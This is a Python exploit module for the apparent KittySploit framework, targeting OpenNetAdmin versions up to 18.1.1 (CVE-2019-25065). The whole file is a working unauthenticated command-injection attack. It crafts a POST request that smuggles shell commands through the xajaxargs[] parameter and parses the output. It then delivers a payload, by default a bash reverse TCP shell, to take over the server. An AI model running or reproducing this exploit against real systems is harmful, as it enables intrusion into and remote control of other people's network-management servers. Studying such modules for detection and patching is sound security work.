OpenNetAdmin CVE-2019-25065 xajax RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""OpenNetAdmin CVE-2019-25065 unauthenticated xajax command injection."""

from __future__ import annotations

import re
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "OpenNetAdmin CVE-2019-25065 xajax RCE",
        "description": (
            "CVE-2019-25065 (OpenNetAdmin <= 18.1.1): unauthenticated command "
            "injection via xajaxargs[] in window_submit requests."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2019-25065"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2019-25065",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["opennetadmin", "ona", "rce", "unauth", "cve-2019-25065"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 2,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "chain": {"suggested_followups": ["scanner/http/opennetadmin_cve_2019_25065_detect"]},
        },
    }

    ona_path = OptString("/ona/", "OpenNetAdmin base path", required=False)

    def _endpoint(self) -> str:
        p = str(self.ona_path or "/ona/").strip()
        if not p.endswith("/"):
            p += "/"
        return p if p.startswith("/") else f"/{p}"

    def execute(self, cmd: str) -> str:
        ts = int(time.time() * 1000)
        inj = f'ip=>;echo "BEGIN";{cmd};echo "END"'
        body = (
            f"xajax=window_submit&xajaxr={ts}"
            "&xajaxargs[]=tooltips"
            f"&xajaxargs[]={inj}"
            "&xajaxargs[]=ping"
        )
        resp = self.http_request(
            "POST",
            self._endpoint(),
            data=body,
            headers={"Content-Type": "application/x-www-form-urlencoded"},
        )
        html = (resp.text or "") if resp else ""
        match = re.search(r"BEGIN\s*(.*?)\s*END", html, re.S)
        return match.group(1).strip() if match else ""

    def check(self):
        body = self.execute("echo ONA25065")
        if "ONA25065" in body:
            return {"vulnerable": True, "reason": "xajax injection confirmed", "confidence": "high"}
        return {"vulnerable": False, "reason": "No command output in xajax response", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I):
            print_error("OpenNetAdmin injection failed")
            self.not_vulnerable()
            return False

        print_status("CVE-2019-25065 — OpenNetAdmin xajax RCE")
        out = self.execute(shell)
        if out:
            print_info(out[:4000])

        if str(self.shell_from_payload() or "").strip():
            return True
        return True